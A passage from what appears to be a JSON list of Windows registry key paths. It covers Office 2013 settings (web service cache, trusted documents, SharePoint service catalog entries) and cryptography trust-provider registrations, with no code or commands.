  270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  276. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  277. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  278. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  279. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  280. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllRemoveSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  281. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllRemoveSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  282. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllCreateIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  283. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllCreateIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  284. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  285. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  286. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Initialization\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  287. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Initialization\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  288. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Message\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  289. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Message\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  290. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Signature\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  291. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Signature\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  292. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Certificate\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  293. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Certificate\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  294. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\CertCheck\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  295. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\CertCheck\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  296. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  297. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  298. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\DiagnosticPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  299. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\DiagnosticPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  300. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Cleanup\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  301. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Cleanup\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  302. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\Trusted Documents",
  304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\Trusted Documents\\LastPurgeTime",
  305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  307. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D6E63D",
  309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D6E63D\\1D6E63D",
  310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Place MRU\\Change",
  316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\File MRU\\Change",
  317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Place MRU\\Change\\ChangeId",
  318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\File MRU\\Change\\ChangeId",
  319. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409",
  320. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\Input",
  321. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\TargetConverted",
  322. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\Converted",
  323. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\TargetNotConverted",
  324. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\InputError",
  325. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\FixedConverted",
  326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
